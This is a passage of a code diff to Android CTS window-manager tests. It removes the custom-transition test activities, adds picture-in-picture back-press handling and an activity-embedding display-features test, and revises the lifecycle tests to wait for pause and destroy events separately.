diff --git a/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml b/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml
deleted file mode 100644
index 0b421a4..0000000
--- a/tests/framework/base/windowmanager/app/res/anim/edge_extension_top_window_animation.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<set xmlns:android="http://schemas.android.com/apk/res/android"
- android:shareInterpolator="false">
-
- <alpha
- android:fromAlpha="1.0"
- android:toAlpha="1.0"
- android:fillEnabled="true"
- android:fillBefore="true"
- android:fillAfter="true"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <scale
- android:fromXScale="1.0"
- android:toXScale="1.0"
- android:fromYScale="0.5"
- android:toYScale="0.5"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
- <translate
- android:fromYDelta="50%"
- android:toYDelta="50%"
- android:interpolator="@android:interpolator/linear"
- android:duration="5000" />
-
- <extend
- android:fromExtendLeft="0"
- android:fromExtendTop="100%"
- android:fromExtendRight="0"
- android:fromExtendBottom="0"
- android:toExtendLeft="0"
- android:toExtendTop="100%"
- android:toExtendRight="0"
- android:toExtendBottom="0"
- android:interpolator="@android:interpolator/linear"
- android:startOffset="0"
- android:duration="5000" />
-
-</set>
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index 695f579..43f60eb 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -97,14 +97,6 @@
<item name="android:windowSplashScreenBehavior">icon_preferred</item>
</style>
- <style name="Theme.CustomTransitionTheme" parent="@android:style/Theme.Material.NoActionBar">
- <item name="android:background">#ffffff</item>
- <item name="android:windowBackground">#ffffff</item>
- <item name="android:colorBackground">#ffffff</item>
- <item name="android:statusBarColor">@android:color/transparent</item>
- <item name="android:navigationBarColor">@android:color/transparent</item>
- </style>
-
<style name="NoInsetsTheme" parent="@android:style/Theme.NoTitleBar">
<item name="android:windowLayoutInDisplayCutoutMode">always</item>
<item name="android:windowSoftInputMode">stateHidden</item>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 16ddfcd..a839054 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -284,12 +284,6 @@
public static final ComponentName BAD_BLUR_ACTIVITY =
component("BadBlurActivity");
- public static final ComponentName CUSTOM_TRANSITION_EXIT_ACTIVITY =
- component("CustomTransitionExitActivity");
-
- public static final ComponentName CUSTOM_TRANSITION_ENTER_ACTIVITY =
- component("CustomTransitionEnterActivity");
-
public static final ComponentName KEEP_CLEAR_RECTS_ACTIVITY =
component("KeepClearRectsActivity");
@@ -297,22 +291,6 @@
component("KeepClearRectsActivity2");
/**
- * The keys used by {@link CustomTransitionExitActivity} to select the animation to run.
- */
- public static class CustomTransitionAnimations {
- /** see @anim/show_backdrop_hide_window_animation.xml */
- public static final String BACKGROUND_COLOR = "backgroundColor";
- /** see @anim/edge_extension_right_window_animation.xml */
- public static final String LEFT_EDGE_EXTENSION = "leftEdgeExtension";
- /** see @anim/edge_extension_top_window_animation.xml */
- public static final String TOP_EDGE_EXTENSION = "topEdgeExtension";
- /** see @anim/edge_extension_left_window_animation.xml */
- public static final String RIGHT_EDGE_EXTENSION = "rightEdgeExtension";
- /** see @anim/edge_extension_bottom_window_animation.xml */
- public static final String BOTTOM_EDGE_EXTENSION = "bottomExtension";
- }
-
- /**
* The keys are used for {@link TestJournalProvider} when testing starting window.
*/
public static class TestStartingWindowKeys {
@@ -559,6 +537,9 @@
// Calls requestAutoEnterPictureInPicture() with the value provided
public static final String EXTRA_ENTER_PIP_ON_PIP_REQUESTED =
"enter_pip_on_pip_requested";
+ // Calls enterPictureInPictureMode when activity receives onBackPressed
+ public static final String EXTRA_ENTER_PIP_ON_BACK_PRESSED =
+ "enter_pip_on_back_pressed";
public static final String EXTRA_EXPANDED_PIP_ASPECT_RATIO_NUMERATOR =
"expanded_pip_numerator";
public static final String EXTRA_EXPANDED_PIP_ASPECT_RATIO_DENOMINATOR =
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java
deleted file mode 100644
index b112c5e..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.app;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BACKGROUND_COLOR;
-import static android.server.wm.app.Components.CustomTransitionAnimations.BOTTOM_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.LEFT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.RIGHT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.TOP_EDGE_EXTENSION;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-import androidx.annotation.ColorInt;
-import androidx.annotation.Nullable;
-
-/**
- * Activity to test that show background for activity transitions works
- */
-public class CustomTransitionEnterActivity extends Activity {
-
- String mTransitionType;
- @ColorInt int mBackgroundColor = 0;
-
- @Override
- protected void onCreate(@Nullable Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.background_image);
-
- // Ensure the activity is edge-to-edge
- // In tests we rely on the activity's content filling the entire window
- getWindow().setDecorFitsSystemWindows(false);
-
- Intent intent = getIntent();
- Bundle bundle = intent.getExtras();
- mTransitionType = bundle.getString("transitionType");
- mBackgroundColor = bundle.getInt("backgroundColorOverride");
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- switch (mTransitionType) {
- case BACKGROUND_COLOR:
- overridePendingTransition(R.anim.show_backdrop_hide_window_animation,
- R.anim.show_backdrop_hide_window_animation, mBackgroundColor);
- break;
- case LEFT_EDGE_EXTENSION:
- overridePendingTransition(R.anim.edge_extension_left_window_animation,
- R.anim.edge_extension_left_window_animation, mBackgroundColor);
- break;
- case TOP_EDGE_EXTENSION:
- overridePendingTransition(R.anim.edge_extension_top_window_animation,
- R.anim.edge_extension_top_window_animation, mBackgroundColor);
- break;
- case RIGHT_EDGE_EXTENSION:
- overridePendingTransition(R.anim.edge_extension_right_window_animation,
- R.anim.edge_extension_right_window_animation, mBackgroundColor);
- break;
- case BOTTOM_EDGE_EXTENSION:
- overridePendingTransition(R.anim.edge_extension_bottom_window_animation,
- R.anim.edge_extension_bottom_window_animation, mBackgroundColor);
- break;
- }
- }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java
deleted file mode 100644
index a4a73ba..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.app;
-
-import static android.server.wm.app.Components.BackgroundActivityTransition.TRANSITION_REQUESTED;
-import static android.server.wm.app.Components.CUSTOM_TRANSITION_EXIT_ACTIVITY;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Handler;
-import android.server.wm.TestJournalProvider;
-
-/**
- * Activity to test that show background for activity transitions works
- */
-public class CustomTransitionExitActivity extends Activity {
-
- String mTransitionType;
- int mBackgroundColor = 0;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.background_image);
-
- // Ensure the activity is edge-to-edge
- // In tests we rely on the activity's content filling the entire window
- getWindow().setDecorFitsSystemWindows(false);
-
- Intent intent = getIntent();
- Bundle bundle = intent.getExtras();
- mTransitionType = bundle.getString("transitionType");
- mBackgroundColor = bundle.getInt("backgroundColorOverride", 0);
-
- // Delay the starting the activity so we don't skip the transition.
- startActivityDelayed();
- }
-
- private void startActivityDelayed() {
- Runnable r = () -> {
- // Notify the test journal that we are starting the activity transition
- TestJournalProvider.putExtras(
- getBaseContext(), CUSTOM_TRANSITION_EXIT_ACTIVITY, bundle -> {
- bundle.putBoolean(TRANSITION_REQUESTED,
- true);
- });
- final Intent i = new Intent(
- CustomTransitionExitActivity.this,
- CustomTransitionEnterActivity.class);
- i.putExtra("transitionType", mTransitionType);
- i.putExtra("backgroundColorOverride", mBackgroundColor);
- startActivity(i);
- };
-
- Handler h = new Handler();
- h.postDelayed(r, 1000);
- }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 074ab48..bc606ea 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -32,6 +32,7 @@
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_BACK_PRESSED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
@@ -82,6 +83,7 @@
public class PipActivity extends AbstractLifecycleLogActivity {
private boolean mEnteredPictureInPicture;
+ private boolean mEnterPipOnBackPressed;
private RemoteCallback mCb;
private Handler mHandler = new Handler();
@@ -91,7 +93,13 @@
if (intent != null) {
switch (intent.getAction()) {
case ACTION_ENTER_PIP:
- enterPictureInPictureMode();
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ if (intent.getExtras() != null) {
+ mCb = (RemoteCallback) intent.getExtras().get(EXTRA_SET_PIP_CALLBACK);
+ if (mCb != null) {
+ mCb.sendResult(new Bundle());
+ }
+ }
break;
case ACTION_MOVE_TO_BACK:
moveTaskToBack(false /* nonRoot */);
@@ -293,6 +301,9 @@
dumpConfiguration(getResources().getConfiguration());
dumpConfigInfo();
}
+
+ mEnterPipOnBackPressed = Boolean.parseBoolean(
+ getIntent().getStringExtra(EXTRA_ENTER_PIP_ON_BACK_PRESSED));
}
@Override
@@ -388,6 +399,15 @@
dumpConfigInfo();
}
+ @Override
+ public void onBackPressed() {
+ if (mEnterPipOnBackPressed) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ } else {
+ super.onBackPressed();
+ }
+ }
+
/**
* Launches a new instance of the PipActivity in the same task that will automatically enter
* PiP.
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 94c1f1a..bd26452 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -760,7 +760,7 @@
if (objectText == null) {
continue;
}
- if (objectText.equalsIgnoreCase("CREATE")) {
+ if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) {
object.click();
buttonClicked = true;
break;
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 5a82c6b..2cc72fa 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -43,7 +43,10 @@
android:knownActivityEmbeddingCerts="6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599"
android:exported="true"
/>
-
+ <activity android:name="android.server.wm.jetpack.utils.TestRearDisplayActivity"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+ android:exported="true"
+ />
<!-- The provider properties must match the shared one defined in the util module. -->
<provider android:name="android.server.wm.lifecycle.EventLog"
android:authorities="android.server.wm.jetpack.logprovider"
diff --git a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
index b332543..4188d43 100644
--- a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
@@ -18,11 +18,11 @@
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.EMBEDDED_ACTIVITY_ID;
-import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityCrossUidInSplit;
import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_SPLIT_RATIO;
import static org.junit.Assume.assumeNotNull;
@@ -89,8 +89,9 @@
activityActivityPair -> true /* activityActivityPredicate */,
activityIntentPair -> true /* activityIntentPredicate */,
parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
- .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
- embeddingComponent.setEmbeddingRules(Collections.singleton(createWildcardSplitPairRule()));
+ .setSplitRatio(getIntent().getFloatExtra(EXTRA_SPLIT_RATIO, DEFAULT_SPLIT_RATIO))
+ .build();
+ embeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
// Launch an activity from a different UID that recognizes this package's signature and
// verify that it is split with this activity.
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
index 46d3fa8..8caa0de 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
@@ -68,13 +68,15 @@
final Activity primaryActivity = startActivityNewTask(
TestConfigChangeHandlingActivity.class);
- // Set split pair rule such that if the parent width is any smaller than it is now, then
+ // Set split pair rule such that if the parent bounds is any smaller than it is now, then
// the parent cannot support a split.
final int originalTaskWidth = getTaskWidth();
+ final int originalTaskHeight = getTaskHeight();
final SplitPairRule splitPairRule = new SplitPairRule.Builder(
activityActivityPair -> true /* activityPairPredicate */,
activityIntentPair -> true /* activityIntentPredicate */,
- parentWindowMetrics -> parentWindowMetrics.getBounds().width() >= originalTaskWidth)
+ parentWindowMetrics -> parentWindowMetrics.getBounds().width() >= originalTaskWidth
+ && parentWindowMetrics.getBounds().height() >= originalTaskHeight)
.setSplitRatio(DEFAULT_SPLIT_RATIO).build();
mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
@@ -92,7 +94,7 @@
for (int i = 0; i < numTimesToResize; i++) {
// Shrink the display by 10% to make the activities stacked
mReportedDisplayMetrics.setSize(new Size((int) (originalDisplaySize.getWidth() * 0.9),
- originalDisplaySize.getHeight()));
+ (int) (originalDisplaySize.getHeight() * 0.9)));
waitForFillsTask(secondaryActivity);
waitAndAssertNotVisible(primaryActivity);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
new file mode 100644
index 0000000..b2448b7
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.EMBEDDED_ACTIVITY_ID;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertResumed;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.embedding.SplitPairRule;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+import androidx.window.extensions.layout.WindowLayoutInfo;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests integration
+ * with other features.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingIntegrationTests
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingIntegrationTests extends ActivityEmbeddingTestBase {
+ private WindowLayoutComponent mWindowLayoutComponent;
+
+ @Before
+ @Override
+ public void setUp() {
+ super.setUp();
+ assumeExtensionSupportedDevice();
+ mWindowLayoutComponent = getExtensionWindowLayoutComponent();
+ assumeNotNull(mWindowLayoutComponent);
+ }
+
+ /**
+ * Tests that display features are still reported when using ActivityEmbedding.
+ */
+ @Test
+ public void testDisplayFeaturesWithEmbedding() throws Exception {
+ TestConfigChangeHandlingActivity primaryActivity = (TestConfigChangeHandlingActivity)
+ startActivityNewTask(TestConfigChangeHandlingActivity.class);
+ WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(primaryActivity);
+ assumeHasDisplayFeatures(windowLayoutInfo);
+
+ // Launch a second activity in a split. Use a very small split ratio, so that the secondary
+ // activity occupies most of the screen.
+ SplitPairRule splitPairRule = new SplitPairRule.Builder(
+ activityActivityPair -> true,
+ activityIntentPair -> true,
+ windowMetrics -> true
+ )
+ .setSplitRatio(0.1f)
+ .build();
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+ TestActivityWithId.class, splitPairRule,
+ "secondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+ // Verify that an embedded activity still observes the same number of features
+ WindowLayoutInfo newWindowLayoutInfo = getExtensionWindowLayoutInfo(secondaryActivity);
+ assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+ newWindowLayoutInfo.getDisplayFeatures().size());
+
+ // Need to reset primary activity bounds change counter because entering the split already
+ // triggered a bounds change.
+ primaryActivity.resetBoundsChangeCounter();
+
+ // Finish the secondary activity and verify that the primary activity still receives the
+ // display features
+ secondaryActivity.finish();
+ assertTrue(primaryActivity.waitForBoundsChange());
+ assertEquals(getMaximumActivityBounds(primaryActivity),
+ getActivityBounds(primaryActivity));
+
+ newWindowLayoutInfo = getExtensionWindowLayoutInfo(primaryActivity);
+ assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+ newWindowLayoutInfo.getDisplayFeatures().size());
+ }
+
+ /**
+ * Tests that display features are still reported when using ActivityEmbedding. Same as above,
+ * but using different packages for the host and embedded activities.
+ * Fixed in CL: If2dbc337c4b8cb909914cc28ae4db28a82ff9de3
+ */
+ @Test
+ public void testDisplayFeaturesWithEmbedding_differentPackage() throws Exception {
+ // Start an activity to collect the window layout info.
+ TestConfigChangeHandlingActivity initialActivity = (TestConfigChangeHandlingActivity)
+ startActivityNewTask(TestConfigChangeHandlingActivity.class);
+ WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(initialActivity);
+ assumeHasDisplayFeatures(windowLayoutInfo);
+
+ // Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts. It will be
+ // put in a new task, since it has a different affinity.
+ Bundle extras = new Bundle();
+ extras.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+ extras.putFloat(EXTRA_SPLIT_RATIO, 0.1f);
+ startActivityNoWait(mContext, SIGNED_EMBEDDING_ACTIVITY, extras);
+
+ waitAndAssertResumed(EMBEDDED_ACTIVITY_ID);
+ TestActivityWithId secondaryActivity = getResumedActivityById(EMBEDDED_ACTIVITY_ID);
+ assertNotNull(secondaryActivity);
+ assertTrue(mActivityEmbeddingComponent.isActivityEmbedded(secondaryActivity));
+
+ // Verify that an embedded activity from a different package observes the same number of
+ // features as the initial one.
+ WindowLayoutInfo newWindowLayoutInfo = getExtensionWindowLayoutInfo(secondaryActivity);
+ assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+ newWindowLayoutInfo.getDisplayFeatures().size());
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
index 967f776..605bfbd 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
@@ -132,7 +132,7 @@
TestActivityWithId2.class, splitPairRule,
"secondaryActivity2" /* secondActivityId */, mSplitInfoConsumer);
List<Pair<String, String>> expected2 = List.of(
- transition(TestActivityWithId.class, ON_DESTROY),
+ transition(TestActivityWithId.class, ON_PAUSE),
transition(TestActivityWithId2.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
assertTrue("Replace secondary container activity",
@@ -140,6 +140,8 @@
checkOrder(mEventLog, expected2)));
waitAndAssertResumed(primaryActivity);
waitAndAssertResumed(secondaryActivity2);
+ // Destroy may happen after the secondaryActivity2 becomes visible and IDLE.
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
}
/**
@@ -243,12 +245,8 @@
// Finish secondary activity
secondaryActivity.finish();
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
- assertTrue("Secondary activity must be finished",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TestActivityWithId.class, ON_DESTROY))));
+ waitAndAssertSplitStatesUpdated();
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
waitAndAssertResumed(primaryActivity);
}
@@ -276,14 +274,16 @@
// Finish secondary activity, should trigger finishing of the primary as well
secondaryActivity.finish();
List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_DESTROY),
- transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
+ transition(TestActivityWithId.class, ON_PAUSE),
+ transition(TestConfigChangeHandlingActivity.class, ON_PAUSE));
assertTrue("Finish secondary activity with dependents",
mLifecycleTracker.waitForConditionWithTimeout(() ->
checkOrder(mEventLog, expected)));
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+ // There is no guarantee on the order, because the removal may be delayed until the next
+ // resumed becomes visible.
+ waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+ waitAndAssertSplitStatesUpdated();
}
/**
@@ -309,12 +309,8 @@
// Finish primary activity
primaryActivity.finish();
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
- assertTrue("Primary activity must be finished",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TestConfigChangeHandlingActivity.class, ON_DESTROY))));
+ waitAndAssertSplitStatesUpdated();
+ waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
waitAndAssertResumed(secondaryActivity);
}
@@ -341,14 +337,16 @@
// Finish primary activity should trigger finishing of the secondary as well.
primaryActivity.finish();
List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_DESTROY),
- transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
+ transition(TestConfigChangeHandlingActivity.class, ON_PAUSE),
+ transition(TestActivityWithId.class, ON_PAUSE));
assertTrue("Finish primary activity with dependents",
mLifecycleTracker.waitForConditionWithTimeout(() ->
checkOrder(mEventLog, expected)));
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+ // There is no guarantee on the order, because the removal may be delayed until the next
+ // resumed becomes visible.
+ waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+ waitAndAssertSplitStatesUpdated();
}
/**
@@ -381,12 +379,8 @@
// Finish the last activity
secondaryActivity2.finish();
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
- assertTrue("Last activity must be finished",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TestActivityWithId2.class, ON_DESTROY))));
+ waitAndAssertSplitStatesUpdated();
+ waitAndAssertActivityOnDestroy(TestActivityWithId2.class);
waitAndAssertResumed(primaryActivity);
}
@@ -424,14 +418,15 @@
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_DESTROY),
+ transition(TestActivityWithId.class, ON_PAUSE),
transition(TestConfigChangeHandlingActivity.class, ON_STOP));
assertTrue("Finish middle activity in multi-split",
mLifecycleTracker.waitForConditionWithTimeout(() ->
checkOrder(mEventLog, expected)));
- assertTrue("Split state change must be observed",
- mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
- transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+ // There is no guarantee on the order, because the removal may be delayed until the next
+ // resumed becomes visible.
+ waitAndAssertActivityOnDestroy(TestActivityWithId.class);
